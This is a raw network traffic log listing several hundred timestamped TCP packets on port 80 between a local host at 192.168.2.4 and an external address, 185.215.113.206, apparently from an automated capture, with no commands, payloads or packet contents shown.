Nov 12, 2024 02:13:28.440465927 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.440478086 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.440484047 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.440516949 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.440535069 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.440587044 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.440599918 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.440610886 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.440622091 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.440622091 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.440638065 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.440648079 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.440663099 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.440666914 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.440669060 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.440680027 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.440686941 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.440694094 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.440699100 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.440713882 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.440717936 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.440731049 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.440735102 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.440747023 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.440752983 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.440761089 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.440764904 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.440776110 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.440782070 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.440800905 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.440814972 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.440818071 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.440828085 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.440846920 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.440855980 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.440860033 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.440864086 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.440880060 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.440886021 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.440896988 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.440912962 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.440931082 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.440943956 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.440953016 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.440984964 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.440984964 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.440995932 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.481911898 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.481925964 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.481937885 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.481972933 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.482000113 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.482585907 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.482609034 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.482619047 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.482630968 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.482640028 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.482666016 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.522221088 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.522274017 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.522286892 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.522308111 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.522320986 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.522375107 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.553930998 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.553983927 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.554028988 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.554040909 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.554063082 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.554066896 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.554075956 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.554083109 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.554088116 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.554094076 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.554101944 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.554112911 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.554116011 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.554120064 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.554141998 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.554142952 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.554157019 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.554163933 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.554167986 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.554177999 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.554181099 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.554193974 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.554204941 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.554203987 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.554203987 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.554218054 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.554246902 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.554333925 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.554378033 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.554387093 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.554425001 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.554433107 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.554445982 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.554465055 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.554469109 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.554477930 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.554496050 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.554503918 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.554514885 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.554516077 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.554528952 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.554532051 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.554542065 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.554557085 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.554567099 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.554580927 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.554584980 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.554599047 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.554610014 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.554610014 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.554620981 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.554641962 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.554867029 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.554877043 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.554888010 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.554907084 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.554929972 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.554930925 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.554944038 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.554956913 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.554977894 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.555016041 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.555023909 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.555035114 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.555042028 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.555057049 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.555063009 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.555072069 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.555083036 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.555088997 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.555092096 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.555111885 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.555135012 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.555166960 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.555177927 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.555187941 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.555200100 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.555212021 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.555213928 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.555223942 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.555227041 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.555238962 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.555250883 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.555254936 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.555294037 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.555298090 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.555308104 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.555325985 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.555330038 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.555361032 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.555366993 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.555381060 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.555392027 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.555409908 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.555418015 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.555430889 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.555434942 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.555449963 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.555457115 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.555463076 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.555476904 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.555485010 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.555490017 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.555501938 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.555510044 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.555524111 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.555531979 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.555540085 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.555546045 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.555553913 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.555569887 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.555577040 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.555586100 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.555598021 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.555604935 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.555618048 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.555625916 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.555639982 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.555654049 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.555670023 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.555674076 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.555694103 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.555708885 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.555737972 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.555749893 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.555761099 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.555780888 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.555783987 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.555804014 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.555825949 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.555856943 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.555869102 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.555900097 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.555941105 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.555955887 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.555999994 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.556000948 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.556015968 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.556039095 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.556046963 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.556051016 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.556061029 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.556065083 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.556087017 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.556088924 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.556102037 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.556103945 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.556103945 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.556123972 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.556134939 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.556134939 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.556139946 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.556147099 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.556154966 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.556160927 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.556173086 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.556193113 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.556200981 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.556211948 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.556229115 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.556236029 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.556246042 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.556283951 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.556297064 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.556308985 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.556320906 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.556329966 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.556334019 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.556343079 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.556345940 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.556360960 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.556368113 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.556395054 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.556413889 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.556433916 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.556444883 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.556456089 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.556469917 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.556478024 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.556483030 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.556492090 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.556495905 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.556519985 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.556534052 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.597368002 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.597393036 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.597409964 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.597423077 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.597440004 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.597448111 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.598119020 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.598172903 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.598203897 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.598217964 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.598228931 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.598238945 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.598241091 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.598267078 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.598285913 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.637743950 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.637756109 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.637775898 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.637787104 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.637798071 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.637907028 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.669490099 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.669502020 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.669512987 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.669534922 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.669547081 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.669553041 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.669560909 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.669574022 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.669576883 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.669595003 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.669620037 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.669627905 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.669640064 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.669648886 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.669661999 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.669671059 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.669672966 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.669686079 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.669703960 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.669724941 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.669874907 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.669904947 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.669914961 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.669924974 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.669936895 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.669951916 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.669961929 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.669965029 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.669975042 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.669990063 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.670001030 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.670021057 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.670130014 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.670140982 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.670152903 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.670165062 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.670176029 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.670180082 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.670187950 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.670195103 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.670205116 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.670221090 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.670250893 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.670274973 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.670286894 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.670298100 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.670320034 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.670339108 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.670383930 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.670408010 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.670427084 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.670439959 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.670449018 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.670460939 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.670469999 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.670480013 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.670490980 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.670501947 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.670512915 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.670522928 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.670523882 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.670533895 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.670536041 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.670548916 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.670557976 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.670564890 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.670587063 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.670598030 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:28.670605898 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.670617104 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:28.670629978 CET	49755	80	192.168.2.4	185.215.113.206
